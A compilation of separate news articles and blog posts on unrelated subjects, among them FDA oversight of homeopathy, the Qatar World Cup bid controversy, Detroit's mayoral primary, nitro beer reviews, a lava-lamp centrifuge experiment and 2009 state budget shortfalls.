-Homeopathy has long been a magnet for controversy, earning a devoted following among patients who insist its remedies are safe and effective, while attracting criticism from many doctors and researchers who say its treatments offer no more help than a placebo.  After problems within the industry in recent years, the Food and Drug Administration says it wants to revisit how it oversees homeopathic products, which can be manufactured and marketed without prior approval from regulators.  Should the FDA regulate homeopathic remedies such as Cold-Eeze the same way it does over-the-counter drugs such as Advil? Should it hold products such as Zicam, which contains small amounts of zinc, to the same safety and efficacy standards that it requires for Tylenol?  Hundreds of public comments have poured in to the FDA ahead of two days of hearings that begin Monday. The agency said it wants more data to “better assess the risks and benefits” of homeopathic remedies, which have become a mainstay on modern pharmacy shelves, often sold alongside over-the-counter pharmaceutical drugs. Stores such as Whole Foods feature sections of homeopathic remedies aimed at treating conditions including allergies and heartburn.  The FDA has not made any decisions about whether to change how it approaches homeopathic products, said Cynthia Schnedar, director of the Office of Compliance at the FDA’s Center for Drug Evaluation and Research. “At this stage,” she said, “we are gathering information about whether to adjust our current enforcement policy.”  The FDA has issued nearly 40 warning letters since 2009 to companies making homeopathic products, Schnedar said.  Last month, the agency warned consumers not to rely on over-the-counter asthma products labeled as homeopathic, saying they have not been evaluated for safety and effectiveness. In 2009, the FDA warned consumers to stop using several types of Zicam cold remedies after reports of more than 130 cases of people losing their sense of smell; the company issued a recall. The following year, Hyland’s Teething Tablets were recalled after reports of reactions in some children; the tablets later were reintroduced with a new formulation.  Homeopathic medicines have had the same legal status as regular pharmaceuticals since 1938, when then-New York Sen. Royal Copeland, who was a trained homeopath, helped shepherd a landmark food and drug law through Congress.  In the 1970s, lawmakers directed the FDA to review the safety and effectiveness of over-the-counter medications. But the agency deferred reviewing homeopathic treatments at the time and last evaluated its policies in 1988. It has allowed most prescription and non-prescription homeopathic products to go to market without prior approval.  Homeopathy traces its founding back two centuries to German doctor and chemist Samuel Hahnemann — whose statue, incidentally, has been in downtown Washington, east of Scott Circle, since 1900.  A key principle underpinning the practice of homeopathy is the notion that “like cures like,” or that substances that create certain symptoms in a healthy person can help to cure diseases with similar symptoms. Homeopathic remedies, derived from plants, minerals and other substances, often are tailored to individual patients. Many treatments are diluted to the point that there is little or no active ingredient remaining. The dilution, which homeopaths believe triggers an immune response in the body, has led skeptics to claim that the practice amounts to little more than selling water and wishful thinking.  The National Institutes of Health has said that there is “little evidence to support homeopathy as an effective treatment for any specific condition,” and that “several key concepts of homeopathy are inconsistent with fundamental concepts of chemistry and physics.”  Last month, Australia’s National Health and Medical Research Council concluded that “there are no health conditions for which there is reliable evidence that homeopathy is effective.” The organization found that there were “no good-quality, well-designed studies with enough participants” to determine whether such treatments were more effective than a placebo.  Edzard Ernst, an emeritus professor at the University of Exeter in England and an outspoken homeopathy critic, said in an e-mail, “There is an appalling amount of misinformation out there, targeted at the often naive consumer.”  He said that the FDA should require homeopathic products to meet the same standards as other medications. “This is a most dangerous situation, and has to be corrected in the interest of public safety,” he said.  Given such criticisms, the FDA’s decision to revisit the issue has worried advocates of homeopathy, who fear that any broad new regulations might unfairly cripple the industry.  “Obviously, people are alarmed and wondering what the FDA is up to,” said Jennifer Jacobs, who practiced homeopathy for 30 years and is now a clinical assistant professor of epidemiology at the University of Washington School of Public Health. “It seems to me that they have bigger fish to fry.”  Jacobs said that homeopathic remedies have a long history of overall safety, particularly when compared with the harmful side effects caused by many conventional drugs. In addition, she said, homeopathic remedies shouldn’t be dismissed merely because science lacks a clear explanation for why they have helped patients.  “It’s foolish to think we understand everything about physics and chemistry at this point in time,” Jacobs said. “Just because we don’t understand exactly how they work doesn’t mean we won’t be able to in the future.”  Ronald Whitmont, a homeopathic doctor in New York and president of the American Institute of Homeopathy, said his organization supports the FDA’s actions to crack down on poor manufacturing practices. “There are always bad apples in the manufacturing world, and they need to be policed just like in any other industry,” he said. “We are behind the FDA. Their concern is our concern.”  But he said he hopes the hearing doesn’t turn into a debate about the legitimacy of homeopathy itself, which has a long safety record and a growing list of ardent patients nearly two centuries after it began.  “Since homeopathy has been in existence, there have been detractors who said this couldn’t possibly work,” Whitmont said. “If it doesn’t work, why is it used worldwide by millions of people? Why isn’t it going away?”
-As with other foreign policy issues, the Trump administration’s approach to Iran has been full of mixed messages. Yet amid the confusion, there has been an ominous tendency to demonize Iran and misrepresent the threat it presents. This could lead to an unnecessary and risky confrontation.  The administration’s various and conflicting responses to the 2015 Iran nuclear deal are a case in point. The deal, one of the Obama administration’s major triumphs, requires Iran to curb its nuclear activities in return for a lifting of economic sanctions. During the campaign, President Trump called it “one of the worst deals I’ve ever seen” and promised to tear it up or renegotiate it if he won the election. Last week, however, a letter from Secretary of State Rex Tillerson to the House speaker, Paul Ryan, signaled Mr. Trump’s intention to stick to the deal.  The letter certified that Iran was complying with the agreement, negotiated by five world powers in addition to the United States and Iran. The International Atomic Energy Agency, which monitors the agreement with on-site inspectors and advanced technology, reached the same conclusion in its most recent report.  However, in the letter, Mr. Tillerson also stressed that “Iran remains a leading state sponsor of terror” and said the administration was reviewing whether suspending sanctions continues to advance American interests. Further jumbling the administration’s views, Mr. Tillerson told reporters on Wednesday that the deal “fails to achieve the objective of a non-nuclear Iran” and “only delays their goal of becoming a nuclear state.” On Thursday, Mr. Trump accused Iran of not fulfilling “the spirit” of the deal. Yet on Friday, Defense Secretary Jim Mattis insisted during a visit to Israel that the deal “stills stands” and that Iran “appears to be living up to their part.” That same day, Mr Trump told The Associated Press that “it’s possible that we won’t” stay in the nuclear deal, The A.P. reported on Sunday.
-PARIS: Suspended FIFA president Sepp Blatter has again accused former French president Nicolas Sarkozy of influencing the awarding of the 2022 World Cup hosting rights to Qatar rather than the United States.  Qatar controversially won the right to host the 2022 World Cup, a decision that has since sparked a series of corruption investigations surrounding FIFA and its officials.  Speaking to Friday’s edition of Britain’s Financial Times, Blatter repeated the claims he made on Wednesday to Russian news agency TASS that FIFA’s executive committee had originally agreed to award the 2018 tournament to Russia and the next World Cup to the US.  Blatter told the FT that there had been a “gentleman’s agreement” that the two World Cups in question would go to the “two superpowers” — although Moscow denies there was any such arrangement.  “It was behind the scenes. It was diplomatically arranged to go there,” said Blatter, who has found himself at the centre of a FIFA corruption storm ever since being re-elected to a fifth term in May.  However, as he stated on Wednesday, Blatter, who is set to stand down after February’s FIFA presidential election, said Sarkozy’s influence moved the goalposts -- something the French politician strongly denies.  “Just one week before the election I got a telephone call from Platini and he said, ‘I am no longer in your picture because I have been told by the head of state that we should consider ... the situation of France’. And he told me that this will affect more than one vote because he had a group of voters, “said Blatter.  Platini, the suspended UEFA chief, admitted to voting for Qatar at the election in December 2010 when the World Cups were awarded to Russia and the tiny desert kingdom, but denied doing so on the orders of Sarkozy, who was French president from 2007-2012, despite the latter having not long beforehand invited him to dinner with the future Qatari emir, Tamim ben Hamad al Thani, then the prince of Qatar.  ‘GREAT POWER’  Speaking to French 24-hour news channel BFMTV on Thursday, Sarkozy also denied using his influence to affect the World Cup vote.  “There you go, once again someone who attributes great power to me,” said Sarkozy from Moscow where he was meeting with Russian president Vladimir Putin.  “That was not my aim, nor was it to manage PSG, nor to attribute the World Cup to anyone in particular,” he added ironically.  “But you thank him (Blatter) nonetheless from me. It was doubtless a reference that points to his very great friendship with Michel Platini. “Blatter told TASS on Wednesday that after the Franco-Qatari summit, “four European votes deserted the United States and the result was 14-8 (to Qatar)”.  Otherwise, according to Blatter, the United States would have won the right to host the World Cup by 12 votes to 10 following the supposedly secret ballot in 2010.  Earlier this month, both Blatter and Platini, who is a FIFA vice-president as well as running European football, were suspended by FIFA’s independent ethics committee for 90 days as part of a wide-ranging investigation into corruption at the heart of world football’s governing body.  Those suspensions are related to a 1.8 million euro ($2 million) payment made by FIFA to Platini in 2011 for consultancy work carried out several years earlier. Both parties deny there was anything untoward in the payment, for which there was no written contract, despite the inexplicable delay.  FIGO FOR INFANTINO  Meanwhile, former Portugal star Luis Figo, once a presidential candidate himself, has given his backing to UEFA general secretary Gianni Infantino, whose own candidature has been seen in many quarters as sounding the death knell of Platini’s own bid.  “His experience, competence, capacity for work and his honesty make him the best candidate for the presidency,” said Figo, who eventually pulled out of the last FIFA election in May, said of Swiss lawyer Infantino.  Banking giant Credit Suisse also revealed on Friday that it is under investigation by Swiss and US authorities over links to FIFA officials accused of bribery and corruption.  “Credit Suisse has received inquiries from these authorities regarding its banking relationships with certain individuals and entities associated with FIFA,” the bank said in a statement.  US and Swiss authorities are probing whether Credit Suisse and other institutions waved through improper transactions or failed to observe anti-money laundering regulations in dealing with the accounts of FIFA associates.  Published in Dawn, October 31st, 2015  On a mobile phone? Get the Dawn Mobile App: Apple Store | Google Play
-Deferring to Industry  Mr. Manchin, who has a thick shock of steel-gray hair and an affable Appalachian drawl, grew up in the coal mining town of Farmington. An uncle and five classmates died in the Farmington mining disaster of 1968, which killed 78 people and led to more federal regulation of West Virginia’s mines. Before entering state politics, he started a coal brokerage company, Enersystems. His memorable 2010 Senate campaign ads showed him blasting a shotgun at a climate-change bill that would have curbed pollution from coal-fired plants.  In his maiden speech on the Senate floor, Mr. Manchin called for the repeal of a Clean Water Act regulation on mountaintop mining. His Senate financial disclosures state that he made nearly $1.5 million a year in 2011 and 2012 from his coal brokerage firm. He is a current co-sponsor of a bill that would block President Obama’s efforts to regulate global-warming gases.  West Virginia’s record of deferring to industry is long and deep, reflecting its heavy economic reliance on coal, chemicals and, most recently, natural gas. The tank farm where chemicals were stored, just a mile and a half upstream from the intake of the state’s largest water provider, seems to have fallen outside the bounds of multiple state and federal antipollution laws.  Randy C. Huffman, the state cabinet secretary in charge of environmental protection, said that because the facility stored chemicals but did not produce them, his department had no responsibility for regulating it. Other states inspect storage facilities as well as production ones.  Initially, state environmental officials said inspectors had not visited the site in more than two decades. But on Thursday, the state’s Department of Environmental Protection said it had made a half-dozen visits since 2001 when the tank farm, which once stored gasoline, was sold and converted to chemical storage. Inspectors checked the air and soil quality, but apparently not the dozen or so tanks.  State officials have also said a 2008 federal law requiring the tank’s owner, Freedom Industries, to report chemicals stored on-site to the state’s Division of Homeland Security did not require emergency planning for a spill because the chemical that leaked was not legally designated “extremely hazardous.” Still, the report the company filed listed the chemical as one with “immediate (acute) hazards.”  But if the regulatory issues in this case seem opaque, the state’s overall priorities seem clear.  Groundwater in mining regions has been tainted by wastewater pumped into the ground, where it seeps into wells. In 2010, Mr. Manchin, then governor, sued the Environmental Protection Agency over tougher water pollution rules for coal mines that blasted mountain tops and dumped debris into valley watersheds. The current governor, Earl Ray Tomblin, promised the day before the spill in his State of the State address to “never back down from the E.P.A.”
-Rep. Poliquin flees retirement facility when seniors question his health care repeal vote  Maine Second-District Congressman Bruce Poliquin visited Nason Park Manor, a senior living community in Bangor, on Tuesday to hold a press conference on issues important to older Mainers. When seniors asked questions about his vote for the Republican health care repeal bill, however, he refused to answer and quickly left the facility.  “He was ignoring those questions, he wasn’t even responding to them,” said Nason Park resident Kathy Record. “Hundreds of thousands of people are going to be affected by this if it goes through. He’s really screwing people over and it’s not right.”  Record lost her own health coverage through Medicaid two years ago after Maine failed to accept federal funding made available through the Affordable Care Act to expand the program.  “I’m one of the lucky ones because I get a decent disability check and I have a part time job that’s helping me get by and I have Medicare now, but there are so many other people that don’t have that – children, mothers, parents, seniors, people with physical disabilities, mental health disabilities, they’re all disregarded.”  According to the AARP, the bill Rep. Poliquin supported would mean a 64-year-old Mainer making $25,000 a year would likely see an annual premium cost increase of $12,701.  The bill also cuts $800 billion from Medicaid, the primary source of funding for long-term care for seniors and Mainers with disabilities. It contains a nearly-equivalent tax break that predominately benefits the top two percent of income earners.  “I felt so bad, there was one lady who came in who was just crying because she has a son with disabilities and he doesn’t have health care or he’s losing it with the changes Poliquin is making happen,” said Record.  That woman was Valerie Walker, a senior and resident of Winterport who attended the event in the hopes of speaking to Poliquin about what cuts to Medicaid could mean for her son, who suffers from Klinefelter syndrome, a chromosomal condition, as well as diabetes, autism and PTSD.  “I take care of everything for him,” said Walker. “I worry about what’s going to happen to him when I’m not around, and I worry he can’t get his medicine.”  Walker attempted to ask Poliquin about health care for her son and about a veterans’ benefits issue before the press conference, but instead of answering her, Poliquin questioned whether Walker lived in the building.  “If you’re not a resident… I think this is just for residents, isn’t that correct?” Poliquin can be seen asking in a video of the exchange as he attempts to avoid speaking with Walker.  Once he was told that the room, managed by the Bangor Housing Authority, was considered a public space, Poliquin sidestepped Walker and began his press conference.  After the presentation, in which Poliquin discussed a bill to sell federal buildings in order to give a one-time boost in Social Security payments, residents and guests again attempted to ask questions. The congressman didn’t answer any and quickly left through a side door.  “He said that he would answer questions after and instead he walked out the door and he didn’t answer anything,” said Walker.  Walker, who is involved with a local Indivisible group, said she has been trying to reach Poliquin for weeks. She has visited his office and made appointments with his staff only to have them cancelled. She’s disappointed that he continues to refuse to hold a public town to discuss an issue of such importance, especially to his older constituents and those who live in rural areas.  “I know quite a few people that are going to lose insurance. I mean, when you think of Maine, I think Washington County has at least 30% of people who are on Medicaid and it’s pretty much like that in all of our counties up here and hospitals are talking about closing because if people don’t have insurance they can’t pay for the health care that they’re giving them,” said Walker.  Among those with unanswered questions was Dr. Flavain Lupinetti, a cardiac surgeon at Eastern Maine Medical Center who had hoped to confront Poliquin about the potential effect of the health care repeal bill on his practice.  “I wanted to let Congressman Poliquin know how bad his vote for the AHCA hurts my patients. It hurts the older patients the most. It hurts my younger patients. It hurts my patients who get their insurance through the exchanges or through MaineCare or through their workplace insurance,” said Lupinetti. “Maybe I have a billionaire or two that I take care of. Maybe those patients benefit from Congressman Poliquin’s actions, nobody else. Congressman Poliquin is dangerous for seniors. He’s dangerous for Maine.”  According to Record, most of Poliquin’s audience wasn’t pleased with the abortive event.  “He was just being condescending and acting like he was supportive and was trying to say what people wanted to hear even though it was not true, and that’s the message most of the residents in there got,” said Record. “We were talking about it before he showed up and we knew that when Poliquin said that he was coming to make an announcement that it was going to be bullshit.”
-A former medical center chief who was kicked off Detroit's mayoral ballot and a popular county sheriff have received the most votes in a primary race and will move on to the general election, even as a state-appointed manager holds the city's thin checkbook and a bankruptcy judge considers its future path.  Write-ins received about 52 percent of the vote in Tuesday's primary, and Mike Duggan was the top write-in candidate in the race after being forced from the ballot this summer due to a residency issue.  Detroit elections employees were working into early Wednesday morning charting the various write-in names cast Tuesday and tabulating votes for each name. With write-ins from 300 of the city's 614 precincts counted, the name "Mike Duggan" was written nearly 17,000 times. The last name "Duggan" received 76 votes, while voters wrote "Mick Duggan" 63 times.  Results are unofficial and have to go before a Wayne County Board of Canvassers. Canvassers on Wednesday will begin determining which write-in candidates receive which votes from the write-in ballots.  "All of us are sharing a dream to rebuild this city together," Duggan told supporters during a victory celebration.  Wayne County Sheriff and ex-Detroit Police Chief Benny Napoleon received about 29 percent of the vote. The top two vote-getters will face off in November.  They are seeking to succeed Mayor Dave Bing, who is not seeking re-election.  City Elections Director Daniel Baxter said about 17 percent of Detroit's registered voters made it to the polls Tuesday or cast absentee ballots.  The nonpartisan primary also featured City Council, City Clerk and other races.  "This election is about you," Napoleon told his supporters Tuesday night. "It's about the people in this community who have not had a voice."  That voice likely will be muted when the new mayor takes office in January. Bankruptcy attorney Kevyn Orr will be approaching the end of his first 12 months as the city's fiscal overseer. He took the job in March under an 18-month contract.  Uncertainty and failure have been standard operating procedure for years in once-mighty Detroit. Last month, it became the largest city in the U.S. to declare bankruptcy under the weight of massive debt brought on by crushing population decline and a history of political corruption and mismanagement.  Seeking to bring stability and turn the city around, GOP Gov. Rick Snyder appointed Orr under a Michigan law that gives emergency managers nearly unlimited power.  On July 18, Orr made the Chapter 9 bankruptcy filing in federal court. He said Detroit is insolvent, unable to pay off debt that his restructuring team says could reach $20 billion. He has stopped paying on $2.5 billion in bonds, using that money to pump up struggling and underfunded city services. He also asked city creditors and Detroit's two pension funds to accept pennies on the dollar in money owed them.  "My preference would be for the governor to dissolve the emergency manager and let the mayor represent the city in bankruptcy court," Duggan told The Associated Press last week.  As its chief executive, Duggan guided the Detroit Medical Center through its own tough money times.  Of the 14 candidates and two write-ins on Tuesday's mayoral ballot, Duggan is most best qualified candidate to guide Detroit under an emergency manager and through a bankruptcy, according to 61-year-old Leilani Thornton, who voted for him.  "He would know how to work within that system to help move the bankruptcy along faster," she said. "I saw firsthand what he did at DMC. I know he has great contacts and knows how to work with people."  For Virgie Rollins, who voted for Napoleon, the next mayor must be able to deal with the bankruptcy.  "Sheriff Napoleon can work with the federal government," she said. "He knows how to work with people there."  Napoleon has said he opposes an emergency manager in Detroit.  "My pitch to him is, `You're here to straighten out the finances. You have no municipal government experience,"' Napoleon told The AP in an earlier interview. "The emergency manager puts the budget together. The mayor should be able to set the priorities."
-Tasting The Samuel Adams Nitro Project Beers All About Beer Magazine - Volume , Issue John Holl  Nitro beers are having a moment.  Walk into a beer bar or look on shelves and you’re likely to see a nitrogenated beer on offer from American brewers, a shift after the space was long dominated by one particular Irish brewery.  Last autumn, the Boston Beer Co., maker of Samuel Adams, announced that it would join the nitro category. This week in New York City, Jim Koch—the founder of the company—unveiled the first three beers in the Nitro Project lineup: Nitro White Ale, Nitro IPA and Nitro Coffee Stout.  As I’ve written before, nitro is a reference to the type of gas used in the carbonation process. It means the difference between the creamier nitrogen beers (N 2 ) and their lively, pricklyCO 2 counterparts. A typical nitrogenated beer contains about 70 percent nitrogen and 30 percent carbon dioxide. Nitrogen is largely insoluble in liquid, which is what contributes to the thick mouthfeel. This effect is helped by a special piece of tap equipment known as a restrictor plate that forces the beer through tiny holes before it lands in the glass. That process causes the rising effect that is topped with the head. And it’s really only the bubbles on the sides of the glass that fall. Inside they are actually rising, as typically seen with a poured carbonated beverage.  Koch calls the look of the pour “drama” and “wonderful theater” and this isn’t the first time Samuel Adams has released a nitro beer.  According to Koch, the brewery released a cream stout and a brown ale in nitrogenated form in the early 1990s, and then several years ago released Sam Stout on nitro draft in select markets. With this new lineup, however, the brewery spent more than two years in development and preparation for a widespread release.  “We didn’t want to replicate the Irish dry stout,” Koch told me. The brewery wanted to create beers of its own and styles that would respond well to the nitro treatment.  “We put some equipment into the brewery in Boston to do an in-line transformation of beers, where we take a keg, degas theCO 2 and then nitrogenated it. We played with over 100 different beers,” he said noting that some worked and others did not. The brewery’s flagship, Boston Lager, when it receives the nitro treatment “blows up the flavor profile in a bad way,” he said.  Finally the brewery went with the three recipes that were best improved by nitrogen.  The lineup is available in 16-ounce cans that actually hold 15-ounces of liquid (reserving room for the nitro widget at the bottom of the can) and are available in cardboard wrapped four-packs that follow a recent trend by brewers using two prominent words on the packaging that quickly describe the beer and grab customer attention. The coffee stout is “Dark and Inviting” while the IPA is “Bright and Citrusy” and the white ale is “Creamy and Smooth.”  Do the beers live up to those descriptions? Here are the reviews:  Samuel Adams Nitro White Ale  Samuel Adams  Boston  5.5% | White Ale  A first whiff of metal quickly yields to orange peel and then juicy orange blossom. With a slight spicy bite from the coriander, the golden, almost orange colored ale has a gulpable quality thanks to the nitrogen and is smooth with a wheat softness and refreshing. Pair with mussels for a complete meal.  Samuel Adams Nitro IPA  Samuel Adams  Boston  7.5% | IPA  With six different hops and built to be 100 IBUs, the nitro downplays the assertive lupulin flavor leaving this more like a pale ale. Still, bursting with grapefruit and pine aromas, it has the dank quality often associated with West Coast IPAs. The bitterness doesn’t last long on the tongue and would likely act as a soothing companion to a dish like Nashville hot chicken.  Samuel Adams Nitro Coffee Stout  Samuel Adams  Boston  5.8% | Coffee Stout  Pours like a milkshake and releases hearty mocha aromas into the air, it mercifully lacks the acidity often associated with coffee. Instead it is pleasing like freshly ground beans, a hint of vanilla, ripened dark red stone fruit, and finishes with sweet roasted chocolate. This is all the dessert you need.  Each can opens with a woosh and a gurgle as the nitrogen is released from the widget into the beer and should immediately be poured hard into a glass. Currently the Nitro White Ale is the only beer available on draft, and as it has done in the past with other styles, the brewery released a special glass for its nitro beers, with a big dimple towards the top to capture and highlight the cascading effect, with a the lip turned outwards, to help the drinker pull the beer through the foam without spilling.  John Holl is the editor of All About Beer Magazine. Follow him on Twitter @John_Holl.  RELATED: Read more about nitro beers in the March issue of All About Beer Magazine, on newsstands soon. Click here to subscribe.
-BIRMINGHAM, Ala. (CN) – A police officer made a woman take her pants off and assaulted her during a traffic stop, then ordered her to meet him again in an hour, she claims in Federal Court. She says she set up a sting with the police chief, who caught the officer in flagrante, and told him, “You stupid son of a bitch, what are you doing? Get up to the police station.”  Plaintiff T.A. claims that during an initial traffic stop, Marion, Ala. police Officer Donald Gantt did not tell her why he had stopped her and never asked for her driver’s license or proof of insurance. She says Gantt told her to take off her pants, pull up her shirt and fondle his erect penis.  He also made lewd comments, such as, “That’s a good looking p*ssy,” according to the complaint. (Spelling as in complaint.)  T.A. says she asked to talk the police chief, but Gantt refused, and told her, “If you tell anyone about what happened, you will regret it.”  The complaint continues: “Gantt then threatened [T.A.] by stating he know where she lived and that she would go to jail and receive a lot of tickets.  “Gantt then received a dispatch over the police radio. He states he had to go, but that [T.A.] was to meet him at the Marion municipal ballpark in one hour.”  T.A. claims she drove home and told her husband what had happened. He contacted Police Chief Tony Bufford. Bufford is not a party to the lawsuit.  T.A. says Bufford told her to go ahead and meet Gantt and he would be there, waiting where he could not be seen.  T.A. says she did so, and that when Gantt arrived he got out of his squad car “and immediately unzipped his pants and removed his erect penis.”  T.A. “then jumped into her car and pushed the horn to signal Chief Bufford and her husband to come to the scene,” the complaint states.  Bufford drove up in his squad car and Gantt jumped into his cruiser “and acted as if he was going to flee the scene,” the complaint states.  “Chief Bufford then stated, ‘You stupid son of a bitch, what are you doing? Get up to the police station.’ Gantt said nothing in response and left the park,” the complaint states.  By then it was after 4 a.m. T.A. says she and her husband went to the police station but only her husband went in. The next day, she says, they were called again “to provide witness statements.”  At the station, she says, she was told she would meet an “ABI agent.” (Alabama Bureau of Investigation.) But she says the “ABI agent” was actually another Marion cop. She adds, “To the best of the plaintiff’s knowledge and belief, the Alabama Bureau of Investigation has never assigned an agent to investigate the incident involving [T.A.] and Officer Gantt.”  T.A. says Chief Bufford told her Gantt “was on suspension and would be terminated,” and also “requested the silence” of her and her husband, because “he was worried about the Police Department’s reputation within the community if this news became public.” She says Bufford told her the ABI and the District Attorney would be notified and would investigate.  But she says no agent from the ABI ever contacted her or her husband, and though one person in the Perry County District Attorney’s officer contacted her, “No paralegal or investigator from the Perry County District Attorney’s Office has ever contacted [T.A.] or her husband regarding the incident with Officer Gantt.”  She says the City of Marion denied her claim for compensation, and has never apologized “or otherwise acknowledged responsibility for wrongful conduct”.  She seeks punitive damages for false arrest, assault and battery, civil rights violations and emotional distress.  She is represented by David R. Arendall of Birmingham.  Like this: Like Loading...
-Lava Lamp Centrifuge  Would a Lava Lamp work in a high-gravity environment such as Jupiter? Would the wax still rise to the surface? Would the blobs be smaller and faster? With broad disagreement on the answers, I built a large centrifuge to find out.  [Music credit: Riverdance by Bill Whelan.]  The centrifuge is made of Meccano, spans a diameter of 3 meters, weighs about 50 kilograms and rotates at 42 RPM. At one end is the payload container which holds the lava lamp and data recorders. At the other end is a set of counterweights.  The payload container pivots freely so that it is always facing 'down'. In the middle is a 20 oz Motion Lamp from Google. Next to it is a Nexus One Android phone which runs G-Force to monitor the current gravity conditions (in the photo below the Android is not present since it was being used to take the photo). Recording both the lamp and the gravity monitor is a digital camera set to record a movie.  A set of counterweights are at the other end of the arm. These are very carefully configured to eliminate any lateral forces on the main bearing. The heaviest counterweight is a big steel cylinder borrowed from the equatorial mount of my telescope. Enclosed within the girders are two rectangular juice bottles filled with glass marbles and topped off with water. A set of steel bars lashed to the top of the girders offer the ability to fine-tune the total weight.  The turntable is a large 25 cm thrust bearing using eight roller wheels. Suspended in the middle of the turntable is a 1/4" mono audio connector. This connector can rotate 360° continuously and is wired to 120 volts AC thus allowing uninterrupted power to flow to the lava lamp at the end of the arm. The entire centrifuge is driven by one 12 volt motor in the base. The motor draws somewhere between 15 amps and 33 amps (far beyond the upper range of my multimeter).  The centrifuge is a genuinely terrifying device. The lights dim when it is switched on. A strong wind is produced as the centrifuge induces a cyclone in the room. The smell of boiling insulation emanates from the overloaded 25 amp cables. If not perfectly adjusted and lubricated, it will shred the teeth off solid brass gears in under a second. Runs were conducted from the relative safety of the next room while peeking through a crack in the door.  Despite the technical hurdles, the centrifuge performed its job well. It turns out that the accelerometers in the Nexus One are badly mis-calibrated; although 0.0 G and 1.0 G are both properly reported, what it reports as 2.0 G is actually 3.0 G (Googlers can view the resulting bug: #2485924). As one can see in the video above, the lava lamp continues to operate well at three times the force of gravity. That's slightly higher than Jupiter's gravity (2.3 G) and it is equivalent to launching in the Space Shuttle. Below are some raw source videos of the operation:  3g-floor.avi (159 MB) External view of centrifuge. 3g-payload.avi (43 MB) Watching the lava lamp and gravity monitor (first at 3 G then at 1 G as a control). 3g-side.3gp (16 MB) Side-mounted camera on payload container (a different run from the previous two videos). nasa.jpg (200 KB) On exhibit at NASA Ames. maker.avi (46 MB) Running at 2 G at Maker Faire.  Last modified: 28 July 2014
-Every few months it seems like Fujifilm are going a bit less “film”. To the point where they should probably get ready to just drop the latter half of their name altogether. In the latest round of culls, Fujifilm have announced a few more film stocks and formats that are going to be disappearing in 2018.  Fujifilm seem hell bent on killing off their film products entirely. Well, if that’s their plan, they’re certainly doing a good job. Many film photographers have already made the switch to Kodak & Ilford films due to the doubt over Fuji’s future. Kodak’s decision to bring back Ektachrome has also aided a few choices.  March 2018  The first round of product culls begins in March. Several 3 and 5 packs of film are being killed off, although single rolls should still be available. Obviously, though, single rolls come at a greater overall cost, and who knows how long those will last?  May 2018  This is where we start to see the actual killing off of certain stocks. Large format photographers will not be happy.  It was only last year that Fujifilm killed off Superia X-Tra 400 in twin and 5 packs. Now with 3 packs gone, we’re down to just single rolls. It strikes me that, perhaps, they’re not making any more. The move from multi packs to single packs sure would be a good way to squeeze every penny out of those rolls that they can before stocks run out.  Natura 1600 3 packs also disappeared last year, and now the single packs are gone, too, suggesting that the above may also happen to Superia in another year or two.  It’s a shame, really. Fuji made some great films. They still make a few, although who knows for how much longer?  [via Albedo Media]
-It is simply stunning that 44 states are facing shortfalls either for this fiscal year, or will come up short in 2010 or 2011. This puts virtually the entire country in a difficult financial situation. It is hard to understand how the media feels that the federal government is somehow better able to get money from people than states. The federal government’s largest income source is the federal income tax; yet this is income from employees in those same states were fiscal problems are running deep. The government is also going to have a challenging time taxing someone with no job right?  The combined budget gaps for the remainder of this fiscal year and then those of 2010 and 2011 are a stunning $350 billion. This number is simply jaw dropping and Wednesday’s horrific retail sales numbers tell us that this recession is already going to be the worst since World War II and possibly since the Great Depression. First, let us take a look at the situation on a map:  Source: Center on Budget and Policy Priorities  You’ll notice that the only state with a sizable population without a budget shortfall is Texas. The rest of the country is virtually in the same predicament. You also need to remember that many states project these figures. That is, many are probably too optimistic in their assessments. The retail numbers that came out today tell us that many states are going to be dealing with a horrible budget situation. That is why in the upcoming fiscal stimulus package there is a large portion dedicated to state relief.  Looking at the data, it looks like many states are just too optimistic and are betting on the 2nd half recovery which will not happen. This crisis runs deep and the actions taken by the Federal Reserve and U.S. Treasury put our U.S. dollar at risk. If there is a run on the dollar, it will leave us as a nation with very few options. State and local governments stand to receive $160 billion in federal aid with the new stimulus plan. But you have to ask where is this money coming from? Printing money.  I’ve combined the state data into a list to make it more viewable. Let us break down the problems by state for the 2009 fiscal year:  First, 4 states with the most dire housing markets those of California, Arizona, Nevada, and Florida made the top 12 on the list. In fact, the number one state and most populace state in our nation California has the most troubling housing market in the nation that won’t see a bottom for many more years. Florida has a similar makeup to California in that it went down the path of toxic mortgages that are now going to be setting on new terms at the most dire time in our fragile economy.  Even should the states receive $160 billion from the historical stimulus plan, that will only address this current fiscal year. As analyst estimate, we are expecting additional fiscal shortfalls in 2010 and 2011 which will be on par or even worse than the current situation. Is the federal government prepared to do another major fiscal program when this occurs?  States with Highest GDP and Largest Population in Worst Shape  In a previous article I discussed that 40 percent of our country’s GDP comes from 5 states. Most of the population lives in these states as well but the important thing to note is that most of these states are also running with the deepest budget problems including California and Florida. Here is a look at employment situation in these states:  What people tend to forget is that these states have large consumers. So with retail sales falling off a cliff, how is this going to impact workers across state lines that ship merchandise to these locations? We are all connected. In fact, that is why $50 trillion in global wealth has evaporated since this financial crisis started.  Here are more estimates put out with the assumption that the economy improves in the second half of 2009:  Source: Center on Budget and Policy Priorities  I really don’t see the stock market popping back up and we are now off 9% in only 6 sessions. This again reinforces the notion that market volatility is supremely high in unhealthy markets. Until market volatility stabilizes, we can expect more of the same. Keep in mind that many states rely on state income taxes which many people are gearing up for in the next few months and states are going to find the following:  (a) Drop in personal state income tax revenues  (b) Capital gains falling off a cliff  (c) Continued weak sales revenue  This is going to stun states on the downside. Expect states to have a fuller picture by the end of April. In addition, many states are already exhausting unemployment insurance so instead of money coming in, it is going out. This is a recipe for a long and prolonged recession which will be more like a minor depression.  State Income Taxes  Some states have no personal income tax which on a plus side draws more employers but also puts a noose on services for their population. In challenging times these states have fewer revenue sources to draw upon. Here is a list of those states with no personal income tax:  *Source: CNN Money  Then you have states with high sales taxes and these states normally bet on good times always remaining. These states will face major gaps as we now see that retail sales falling for 6 straight months and by big drops is going to choke off another revenue stream:  So here you’ll see a state like Texas with no personal income tax but a relatively high sales tax. With retail sales faltering even more resilient states will start feeling the pinch.  The bottom line is the places to find money are running out. We will need to cut back as a nation. We simply have no choice. Sure the U.S. Treasury and Fed can run the printing presses but this will do little good. The fiscal situation of most 50 states are deeply troubling. The aggregate of the 50 states is our country. You will need to prepare for a challenging few years. Simple things you can do is stay away from debt, think twice about common mainstream investing ideas, and save money. These are simple steps. Our government is still in that spending mode even though they are asking of you to be prudent.  If you enjoyed this post click here to subscribe to a complete feed and stay up to date with today’s challenging market!
